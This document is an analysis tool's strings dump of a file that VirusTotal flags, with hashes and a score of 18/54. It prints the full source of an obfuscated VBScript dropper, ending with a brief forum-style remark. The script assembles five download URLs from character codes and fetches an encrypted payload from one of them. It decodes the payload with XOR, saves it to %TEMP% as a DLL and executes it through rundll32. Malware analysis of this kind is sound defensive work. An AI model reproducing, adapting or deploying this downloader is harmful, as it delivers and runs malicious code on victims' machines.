md5,BB6A0F15DA3D5373785EE750FB59A1E8
sha1,A81043E8599F9ABA815890173A359845CA861D46
size,9503
entropy,5.464
date,26:10:2016 - 02:39:34
The file is scored (18/54) by virustotal,1
The file contains 1 blacklisted strings,1
The file is not an executable file,9
ascii,16,-,x,Select Case WQt8
ascii,20,-,-,On Error Resume Next
ascii,32,-,-,Const Rn5 = 1, Bc0 = 2, UKz0 = 8
ascii,31,-,-,Const YJp = 1, EOl = 2, AHm = 2
ascii,18,-,-,Const HUo4 = "437"
ascii,17,-,-,Function PMs(Ft0)
ascii,21,-,-,Dim Hn(255), RMt, SDc
ascii,11,-,-,Hn(128)=199
ascii,11,-,-,Hn(129)=252
ascii,11,-,-,Hn(130)=233
ascii,11,-,-,Hn(131)=226
ascii,11,-,-,Hn(132)=228
ascii,11,-,-,Hn(133)=224
ascii,11,-,-,Hn(134)=229
ascii,11,-,-,Hn(135)=231
ascii,11,-,-,Hn(136)=234
ascii,11,-,-,Hn(137)=235
ascii,11,-,-,Hn(138)=232
ascii,11,-,-,Hn(139)=239
ascii,11,-,-,Hn(140)=238
ascii,11,-,-,Hn(141)=236
ascii,11,-,-,Hn(142)=196
ascii,11,-,-,Hn(143)=197
ascii,11,-,-,Hn(144)=201
ascii,11,-,-,Hn(145)=230
ascii,11,-,-,Hn(146)=198
ascii,11,-,-,Hn(147)=244
ascii,11,-,-,Hn(148)=246
ascii,11,-,-,Hn(149)=242
ascii,11,-,-,Hn(150)=251
ascii,11,-,-,Hn(151)=249
ascii,11,-,-,Hn(152)=255
ascii,11,-,-,Hn(153)=214
ascii,11,-,-,Hn(154)=220
ascii,11,-,-,Hn(155)=162
ascii,11,-,-,Hn(156)=163
ascii,11,-,-,Hn(157)=165
ascii,12,-,-,Hn(158)=8359
ascii,11,-,-,Hn(159)=402
ascii,11,-,-,Hn(160)=225
ascii,11,-,-,Hn(161)=237
ascii,11,-,-,Hn(162)=243
ascii,11,-,-,Hn(163)=250
ascii,11,-,-,Hn(164)=241
ascii,11,-,-,Hn(165)=209
ascii,11,-,-,Hn(166)=170
ascii,11,-,-,Hn(167)=186
ascii,11,-,-,Hn(168)=191
ascii,12,-,-,Hn(169)=8976
ascii,11,-,-,Hn(170)=172
ascii,11,-,-,Hn(171)=189
ascii,11,-,-,Hn(172)=188
ascii,11,-,-,Hn(173)=161
ascii,11,-,-,Hn(174)=171
ascii,11,-,-,Hn(175)=187
ascii,12,-,-,Hn(176)=9617
ascii,12,-,-,Hn(177)=9618
ascii,12,-,-,Hn(178)=9619
ascii,12,-,-,Hn(179)=9474
ascii,12,-,-,Hn(180)=9508
ascii,12,-,-,Hn(181)=9569
ascii,12,-,-,Hn(182)=9570
ascii,12,-,-,Hn(183)=9558
ascii,12,-,-,Hn(184)=9557
ascii,12,-,-,Hn(185)=9571
ascii,12,-,-,Hn(186)=9553
ascii,12,-,-,Hn(187)=9559
ascii,12,-,-,Hn(188)=9565
ascii,12,-,-,Hn(189)=9564
ascii,12,-,-,Hn(190)=9563
ascii,12,-,-,Hn(191)=9488
ascii,12,-,-,Hn(192)=9492
ascii,12,-,-,Hn(193)=9524
ascii,12,-,-,Hn(194)=9516
ascii,12,-,-,Hn(195)=9500
ascii,12,-,-,Hn(196)=9472
ascii,12,-,-,Hn(197)=9532
ascii,12,-,-,Hn(198)=9566
ascii,12,-,-,Hn(199)=9567
ascii,12,-,-,Hn(200)=9562
ascii,12,-,-,Hn(201)=9556
ascii,12,-,-,Hn(202)=9577
ascii,12,-,-,Hn(203)=9574
ascii,12,-,-,Hn(204)=9568
ascii,12,-,-,Hn(205)=9552
ascii,12,-,-,Hn(206)=9580
ascii,12,-,-,Hn(207)=9575
ascii,12,-,-,Hn(208)=9576
ascii,12,-,-,Hn(209)=9572
ascii,12,-,-,Hn(210)=9573
ascii,12,-,-,Hn(211)=9561
ascii,12,-,-,Hn(212)=9560
ascii,12,-,-,Hn(213)=9554
ascii,12,-,-,Hn(214)=9555
ascii,12,-,-,Hn(215)=9579
ascii,12,-,-,Hn(216)=9578
ascii,12,-,-,Hn(217)=9496
ascii,12,-,-,Hn(218)=9484
ascii,12,-,-,Hn(219)=9608
ascii,12,-,-,Hn(220)=9604
ascii,12,-,-,Hn(221)=9612
ascii,12,-,-,Hn(222)=9616
ascii,12,-,-,Hn(223)=9600
ascii,11,-,-,Hn(224)=945
ascii,11,-,-,Hn(225)=223
ascii,11,-,-,Hn(226)=915
ascii,11,-,-,Hn(227)=960
ascii,11,-,-,Hn(228)=931
ascii,11,-,-,Hn(229)=963
ascii,11,-,-,Hn(230)=181
ascii,11,-,-,Hn(231)=964
ascii,11,-,-,Hn(232)=934
ascii,11,-,-,Hn(233)=920
ascii,11,-,-,Hn(234)=937
ascii,11,-,-,Hn(235)=948
ascii,12,-,-,Hn(236)=8734
ascii,11,-,-,Hn(237)=966
ascii,11,-,-,Hn(238)=949
ascii,12,-,-,Hn(239)=8745
ascii,12,-,-,Hn(240)=8801
ascii,11,-,-,Hn(241)=177
ascii,12,-,-,Hn(242)=8805
ascii,12,-,-,Hn(243)=8804
ascii,12,-,-,Hn(244)=8992
ascii,12,-,-,Hn(245)=8993
ascii,11,-,-,Hn(246)=247
ascii,12,-,-,Hn(247)=8776
ascii,11,-,-,Hn(248)=176
ascii,12,-,-,Hn(249)=8729
ascii,11,-,-,Hn(250)=183
ascii,12,-,-,Hn(251)=8730
ascii,12,-,-,Hn(252)=8319
ascii,11,-,-,Hn(253)=178
ascii,12,-,-,Hn(254)=9632
ascii,11,-,-,Hn(255)=160
ascii,6,-,-,s = ""
ascii,26,-,-,For SDc = 0 To UBound(Ft0)
ascii,38,-,-,If Ft0(SDc) < 0 Or Ft0(SDc) > 255 Then
ascii,35,-,-,Err.Raise 50003, "", "a2s()", "", 0
ascii,27,-,-,ElseIf Ft0(SDc) >= 128 Then
ascii,30,-,-,RMt = RMt & ChrW(Hn(Ft0(SDc)))
ascii,4,-,-,Else
ascii,26,-,-,RMt = RMt & ChrW(Ft0(SDc))
ascii,6,-,-,End If
ascii,4,-,-,Next
ascii,9,-,-,PMs = RMt
ascii,12,-,-,End Function
ascii,16,-,-,Function Dm(Fg7)
ascii,22,-,-,Dim IAj, SDc, Vs, WQt8
ascii,19,-,-,IAj = QSn(Len(Fg7))
ascii,26,-,-,For SDc = 0 to UBound(IAj)
ascii,31,-,-,WQt8 = AscW(Mid(Fg7, SDc+1, 1))
ascii,18,-,-,If WQt8 < 128 Then
ascii,9,-,-,Vs = WQt8
ascii,4,-,-,Else
ascii,16,-,-,Case 199: Vs=128
ascii,16,-,-,Case 252: Vs=129
ascii,16,-,-,Case 233: Vs=130
ascii,16,-,-,Case 226: Vs=131
ascii,16,-,-,Case 228: Vs=132
ascii,16,-,-,Case 224: Vs=133
ascii,16,-,-,Case 229: Vs=134
ascii,16,-,-,Case 231: Vs=135
ascii,16,-,-,Case 234: Vs=136
ascii,16,-,-,Case 235: Vs=137
ascii,16,-,-,Case 232: Vs=138
ascii,16,-,-,Case 239: Vs=139
ascii,16,-,-,Case 238: Vs=140
ascii,16,-,-,Case 236: Vs=141
ascii,16,-,-,Case 196: Vs=142
ascii,16,-,-,Case 197: Vs=143
ascii,16,-,-,Case 201: Vs=144
ascii,16,-,-,Case 230: Vs=145
ascii,16,-,-,Case 198: Vs=146
ascii,16,-,-,Case 244: Vs=147
ascii,16,-,-,Case 246: Vs=148
ascii,16,-,-,Case 242: Vs=149
ascii,16,-,-,Case 251: Vs=150
ascii,16,-,-,Case 249: Vs=151
ascii,16,-,-,Case 255: Vs=152
ascii,16,-,-,Case 214: Vs=153
ascii,16,-,-,Case 220: Vs=154
ascii,16,-,-,Case 162: Vs=155
ascii,16,-,-,Case 163: Vs=156
ascii,16,-,-,Case 165: Vs=157
ascii,17,-,-,Case 8359: Vs=158
ascii,16,-,-,Case 402: Vs=159
ascii,16,-,-,Case 225: Vs=160
ascii,16,-,-,Case 237: Vs=161
ascii,16,-,-,Case 243: Vs=162
ascii,16,-,-,Case 250: Vs=163
ascii,16,-,-,Case 241: Vs=164
ascii,16,-,-,Case 209: Vs=165
ascii,16,-,-,Case 170: Vs=166
ascii,16,-,-,Case 186: Vs=167
ascii,16,-,-,Case 191: Vs=168
ascii,17,-,-,Case 8976: Vs=169
ascii,16,-,-,Case 172: Vs=170
ascii,16,-,-,Case 189: Vs=171
ascii,16,-,-,Case 188: Vs=172
ascii,16,-,-,Case 161: Vs=173
ascii,16,-,-,Case 171: Vs=174
ascii,16,-,-,Case 187: Vs=175
ascii,17,-,-,Case 9617: Vs=176
ascii,17,-,-,Case 9618: Vs=177
ascii,17,-,-,Case 9619: Vs=178
ascii,17,-,-,Case 9474: Vs=179
ascii,17,-,-,Case 9508: Vs=180
ascii,17,-,-,Case 9569: Vs=181
ascii,17,-,-,Case 9570: Vs=182
ascii,17,-,-,Case 9558: Vs=183
ascii,17,-,-,Case 9557: Vs=184
ascii,17,-,-,Case 9571: Vs=185
ascii,17,-,-,Case 9553: Vs=186
ascii,17,-,-,Case 9559: Vs=187
ascii,17,-,-,Case 9565: Vs=188
ascii,17,-,-,Case 9564: Vs=189
ascii,17,-,-,Case 9563: Vs=190
ascii,17,-,-,Case 9488: Vs=191
ascii,17,-,-,Case 9492: Vs=192
ascii,17,-,-,Case 9524: Vs=193
ascii,17,-,-,Case 9516: Vs=194
ascii,17,-,-,Case 9500: Vs=195
ascii,17,-,-,Case 9472: Vs=196
ascii,17,-,-,Case 9532: Vs=197
ascii,17,-,-,Case 9566: Vs=198
ascii,17,-,-,Case 9567: Vs=199
ascii,17,-,-,Case 9562: Vs=200
ascii,17,-,-,Case 9556: Vs=201
ascii,17,-,-,Case 9577: Vs=202
ascii,17,-,-,Case 9574: Vs=203
ascii,17,-,-,Case 9568: Vs=204
ascii,17,-,-,Case 9552: Vs=205
ascii,17,-,-,Case 9580: Vs=206
ascii,17,-,-,Case 9575: Vs=207
ascii,17,-,-,Case 9576: Vs=208
ascii,17,-,-,Case 9572: Vs=209
ascii,17,-,-,Case 9573: Vs=210
ascii,17,-,-,Case 9561: Vs=211
ascii,17,-,-,Case 9560: Vs=212
ascii,17,-,-,Case 9554: Vs=213
ascii,17,-,-,Case 9555: Vs=214
ascii,17,-,-,Case 9579: Vs=215
ascii,17,-,-,Case 9578: Vs=216
ascii,17,-,-,Case 9496: Vs=217
ascii,17,-,-,Case 9484: Vs=218
ascii,17,-,-,Case 9608: Vs=219
ascii,17,-,-,Case 9604: Vs=220
ascii,17,-,-,Case 9612: Vs=221
ascii,17,-,-,Case 9616: Vs=222
ascii,17,-,-,Case 9600: Vs=223
ascii,16,-,-,Case 945: Vs=224
ascii,16,-,-,Case 223: Vs=225
ascii,16,-,-,Case 915: Vs=226
ascii,16,-,-,Case 960: Vs=227
ascii,16,-,-,Case 931: Vs=228
ascii,16,-,-,Case 963: Vs=229
ascii,16,-,-,Case 181: Vs=230
ascii,16,-,-,Case 964: Vs=231
ascii,16,-,-,Case 934: Vs=232
ascii,16,-,-,Case 920: Vs=233
ascii,16,-,-,Case 937: Vs=234
ascii,16,-,-,Case 948: Vs=235
ascii,17,-,-,Case 8734: Vs=236
ascii,16,-,-,Case 966: Vs=237
ascii,16,-,-,Case 949: Vs=238
ascii,17,-,-,Case 8745: Vs=239
ascii,17,-,-,Case 8801: Vs=240
ascii,16,-,-,Case 177: Vs=241
ascii,17,-,-,Case 8805: Vs=242
ascii,17,-,-,Case 8804: Vs=243
ascii,17,-,-,Case 8992: Vs=244
ascii,17,-,-,Case 8993: Vs=245
ascii,16,-,-,Case 247: Vs=246
ascii,17,-,-,Case 8776: Vs=247
ascii,16,-,-,Case 176: Vs=248
ascii,17,-,-,Case 8729: Vs=249
ascii,16,-,-,Case 183: Vs=250
ascii,17,-,-,Case 8730: Vs=251
ascii,17,-,-,Case 8319: Vs=252
ascii,16,-,-,Case 178: Vs=253
ascii,17,-,-,Case 9632: Vs=254
ascii,16,-,-,Case 160: Vs=255
ascii,46,-,-,Case Else: Err.Raise 50002, "", "s2a()", "", 0
ascii,10,-,-,End Select
ascii,6,-,-,End If
ascii,13,-,-,IAj(SDc) = Vs
ascii,4,-,-,Next
ascii,8,-,-,Dm = IAj
ascii,12,-,-,End Function
ascii,18,-,-,Function LQs7(Cw9)
ascii,17,-,-,Dim To0, IAj, RMt
ascii,38,-,-,Set To0 = CreateObject("ADODB.Stream")
ascii,14,-,-,To0.type = EOl
ascii,18,-,-,To0.Charset = HUo4
ascii,8,-,-,To0.Open
ascii,20,-,-,To0.LoadFromFile Cw9
ascii,18,-,-,RMt = To0.ReadText
ascii,9,-,-,To0.Close
ascii,14,-,-,LQs7 = Dm(RMt)
ascii,12,-,-,End Function
ascii,16,-,-,Sub Jh(Cw9, Ft0)
ascii,12,-,-,Dim To0, RMt
ascii,38,-,-,Set To0 = CreateObject("ADODB.Stream")
ascii,14,-,-,To0.type = EOl
ascii,18,-,-,To0.Charset = HUo4
ascii,8,-,-,To0.Open
ascii,14,-,-,RMt = PMs(Ft0)
ascii,17,-,-,To0.WriteText RMt
ascii,23,-,-,To0.SaveToFile Cw9, AHm
ascii,9,-,-,To0.Close
ascii,7,-,-,End Sub
ascii,16,-,-,Function QSn(Vs)
ascii,14,-,-,Dim RMt, Cp(0)
ascii,15,-,-,If Vs <= 0 Then
ascii,41,-,-,Err.Raise 50001, "", "makearray()", "", 0
ascii,18,-,-,ElseIf Vs = 1 Then
ascii,8,-,-,QSn = Cp
ascii,4,-,-,Else
ascii,17,-,-,RMt = Space(Vs-1)
ascii,21,-,-,QSn = Split(RMt, " ")
ascii,6,-,-,End If
ascii,12,-,-,End Function
ascii,17,-,-,Function GNm(url)
ascii,23,-,-,Dim HCw4, GGs, IAj, SDc
ascii,14,-,-,Dim Ya, FJa(1)
ascii,53,-,-,Set HCw4 = CreateObject("Scripting.FileSystemObject")
ascii,37,-,-,FJa(0) = "WinHttp.WinHttpRequest.5.1"
ascii,25,-,-,FJa(1) = "MSXML2.XMLHTTP"
ascii,18,-,-,For Each Ya in FJa
ascii,9,-,-,Err.Clear
ascii,26,-,-,Set GGs = CreateObject(Ya)
ascii,22,-,-,If Err.Number = 0 Then
ascii,8,-,-,Exit For
ascii,6,-,-,End If
ascii,4,-,-,Next
ascii,26,-,-,GGs.Open "GET", url, False
ascii,8,-,-,GGs.Send
ascii,33,-,-,IAj = QSn(LenB(GGs.ResponseBody))
ascii,37,-,-,For SDc = 1 To LenB(GGs.ResponseBody)
ascii,49,-,-,IAj(SDc-1) = AscB(MidB(GGs.ResponseBody, SDc, 1))
ascii,4,-,-,Next
ascii,9,-,-,GNm = IAj
ascii,12,-,-,End Function
ascii,14,-,-,Function KEj()
ascii,17,-,-,Dim Bn5, Qo8, Ds0
ascii,39,-,-,Set Bn5 = CreateObject("WScript.Shell")
ascii,35,-,-,Set Qo8 = Bn5.Environment("System")
ascii,35,-,-,Ds0 = Qo8("PROCESSOR_ARCHITECTURE")
ascii,28,-,-,If LCase(Ds0) = "amd64" Then
ascii,72,-,-,KEj = Bn5.ExpandEnvironmentStrings("%SystemRoot%\SysWOW64\rundll32.exe")
ascii,4,-,-,Else
ascii,72,-,-,KEj = Bn5.ExpandEnvironmentStrings("%SystemRoot%\system32\rundll32.exe")
ascii,6,-,-,End If
ascii,12,-,-,End Function
ascii,23,-,-,Sub XJt(OQh, WRc3, Wc3)
ascii,26,-,-,Dim Bn5, HCw4, Cg, Ox, Qx8
ascii,39,-,-,Set Bn5 = CreateObject("WScript.Shell")
ascii,53,-,-,Set HCw4 = CreateObject("Scripting.FileSystemObject")
ascii,26,-,-,Set Cg = HCw4.GetFile(OQh)
ascii,17,-,-,Ox = Cg.ShortPath
ascii,47,-,-,Qx8 = KEj() + " " + Ox + "," + WRc3 + " " + Wc3
ascii,13,-,-,If 2 > 1 Then
ascii,12,-,-,Bn5.Run(Qx8)
ascii,6,-,-,End If
ascii,7,-,-,End Sub
ascii,16,-,-,Function Nt(OQh)
ascii,8,-,-,Dim HCw4
ascii,53,-,-,Set HCw4 = CreateObject("Scripting.FileSystemObject")
ascii,25,-,-,Nt = HCw4.FileExists(OQh)
ascii,12,-,-,End Function
ascii,17,-,-,Function WBe(OQh)
ascii,12,-,-,Dim HCw4, Cg
ascii,53,-,-,Set HCw4 = CreateObject("Scripting.FileSystemObject")
ascii,26,-,-,Set Cg = HCw4.GetFile(OQh)
ascii,18,-,-,WBe = Cg.ShortPath
ascii,12,-,-,End Function
ascii,23,-,-,Function QYd(Ot4, YQa1)
ascii,6,-,-,Dim Vs
ascii,36,-,-,Vs = CDbl(Int(CDbl(Ot4)/CDbl(YQa1)))
ascii,33,-,-,QYd = CDbl(Ot4) - Vs * CDbl(YQa1)
ascii,12,-,-,End Function
ascii,24,-,-,Function AUc0(KTk7, RMt)
ascii,31,-,-,RMt(0) = 171 * RMt(0) Mod 30269
ascii,31,-,-,RMt(1) = 172 * RMt(1) Mod 30307
ascii,31,-,-,RMt(2) = 170 * RMt(2) Mod 30323
ascii,7,-,-,Dim ZWm
ascii,84,-,-,ZWm = QYd((CDbl(RMt(0))/30269.0 + CDbl(RMt(1))/30307.0 + CDbl(RMt(2))/30323.0), 1.0)
ascii,28,-,-,AUc0 = Int(ZWm * CDbl(KTk7))
ascii,12,-,-,End Function
ascii,22,-,-,Function Bp4(IAj, Zw4)
ascii,31,-,-,Dim LYo(2), GTc8, SYq, SNf, SDc
ascii,23,-,-,If UBound(IAj) < 3 Then
ascii,56,-,-,Err.Raise 50004, "", "size of array must be >= 4", "", 0
ascii,6,-,-,End If
ascii,27,-,-,GTc8 = QSn(UBound(IAj) - 3)
ascii,15,-,-,LYo(0) = Zw4(0)
ascii,15,-,-,LYo(1) = Zw4(1)
ascii,15,-,-,LYo(2) = Zw4(2)
ascii,26,-,-,For SDc = 0 To UBound(IAj)
ascii,38,-,-,IAj(SDc) = IAj(SDc) Xor AUc0(256, LYo)
ascii,4,-,-,Next
ascii,109,-,-,SYq = IAj(UBound(IAj)-3)+(IAj(UBound(IAj)-2)*256)+(IAj(UBound(IAj)-1)*256*256)+(IAj(UBound(IAj))*256*256*256)
ascii,9,-,-,SNf = IXy
ascii,27,-,-,For SDc = 0 To UBound(GTc8)
ascii,20,-,-,GTc8(SDc) = IAj(SDc)
ascii,37,-,-,SNf = (SNf + IAj(SDc)) Mod 1000000000
ascii,4,-,-,Next
ascii,18,-,-,If SNf <> SYq Then
ascii,44,-,-,Err.Raise 50005, "", "checksum error", "", 0
ascii,6,-,-,End If
ascii,10,-,-,Bp4 = GTc8
ascii,12,-,-,End Function
ascii,17,-,-,Function FYg6(Av)
ascii,21,-,-,FYg6 = CInt(Av*Rnd())
ascii,12,-,-,End Function
ascii,9,-,-,Randomize
ascii,28,-,-,Dim PFn(2), IXy, Ej1(4), Cw9
ascii,12,-,-,PFn(0) = 666
ascii,14,-,-,PFn(1) = 18297
ascii,13,-,-,PFn(2) = 9885
ascii,7,-,-,IXy = 9
ascii,251,-,-,Ej1(0)=cHr(104) & cHr(116) + cHr(116) & "p" & cHr(58) & cHr(47) & cHr(47) + cHr(100) & cHr(109) & "s" & cHr(111) & cHr(105) & cHr(110) + "f" + cHr(111) & cHr(46) & cHr(99) & cHr(111) + "m" + cHr(47) + cHr(114) + cHr(97) & cHr(122) & cHr(107) + cHr(51)
ascii,241,-,-,Ej1(1)=cHr(104) + "t" + cHr(116) & cHr(112) + cHr(58) & cHr(47) & cHr(47) + cHr(99) & cHr(110) & cHr(118) & cHr(97) & cHr(116) + cHr(46) & "n" & "e" & "t" & cHr(47) + cHr(117) & cHr(119) & "m" + cHr(114) + cHr(103) & cHr(116) & cHr(48) & "b"
ascii,260,-,-,Ej1(2)="h" + "t" + "t" & cHr(112) + ":" + "/" + "/" + cHr(100) & cHr(101) + cHr(120) + cHr(105) + cHr(110) & cHr(103) + cHr(116) & "a" + "n" + cHr(103) + cHr(49) & "2" + cHr(48) & cHr(46) & cHr(99) + cHr(111) & "m" + cHr(47) + cHr(118) + "5" & cHr(48) + cHr(10
ascii,44,-,-,9) + cHr(55) + cHr(99) & cHr(112) & cHr(118)
ascii,237,-,-,Ej1(3)=cHr(104) + "t" + cHr(116) & cHr(112) + cHr(58) + "/" & cHr(47) + "a" + cHr(115) & "t" + cHr(108) & cHr(111) & cHr(111) + cHr(116) & cHr(46) + "c" + cHr(111) & cHr(109) & cHr(47) + cHr(49) & "i" & "2" + cHr(117) & cHr(49) & cHr(97)
ascii,260,-,-,Ej1(4)=cHr(104) & cHr(116) & "t" + cHr(112) + ":" & cHr(47) + cHr(47) & cHr(103) & cHr(108) + "a" & cHr(105) & cHr(107) + cHr(100) & cHr(121) + cHr(108) & cHr(97) & cHr(110) + cHr(46) + cHr(110) & cHr(101) & "t" & cHr(47) + "1" + cHr(106) + cHr(120) & cHr(114)
ascii,30,-,-, & cHr(99) + cHr(98) & cHr(48)
ascii,21,-,-,Cw9 = "wrKtvL424sS5i"
ascii,21,-,-,Dim Bn5, Fn2, Xl4, Bm
ascii,44,-,-,Set objShell = CreateObject("WScript.Shell")
ascii,49,-,-,Fn2 = objShell.ExpandEnvironmentStrings("%TEMP%")
ascii,30,-,-,Xl4 = Fn2 & "\" & Cw9 & ".dll"
ascii,30,-,-,Dim DDy7, LIw5, Ks8, WUg0, SDc
ascii,12,-,-,LIw5 = False
ascii,19,-,-,For SDc=0 To 10: Do
ascii,15,-,-,If Nt(Xl4) Then
ascii,22,-,-,Bm = WBe(Xl4) & ".txt"
ascii,14,-,-,If Nt(Bm) Then
ascii,15,-,-,WScript.Quit(0)
ascii,6,-,-,End If
ascii,6,-,-,End If
ascii,16,-,-,If Not LIw5 Then
ascii,24,-,-,DDy7 = FYg6(UBound(Ej1))
ascii,20,-,-,Ks8 = GNm(Ej1(DDy7))
ascii,23,-,-,If Err.Number <> 0 Then
ascii,7,-,-,Exit Do
ascii,6,-,-,End If
ascii,20,-,-,WUg0 = Bp4(Ks8, PFn)
ascii,23,-,-,If Err.Number <> 0 Then
ascii,7,-,-,Exit Do
ascii,6,-,-,End If
ascii,12,-,-,Jh Xl4, WUg0
ascii,23,-,-,If Err.Number <> 0 Then
ascii,7,-,-,Exit Do
ascii,6,-,-,End If
ascii,11,-,-,LIw5 = True
ascii,6,-,-,End If
ascii,47,-,-,XJt Xl4, "EnhancedStoragePasswordConfig", "147"
ascii,19,-,-,WScript.Sleep 25000
ascii,22,-,-,Loop While False: Next
ascii,15,-,-,WScript.Quit(0)
avast show clean.Hope this help.
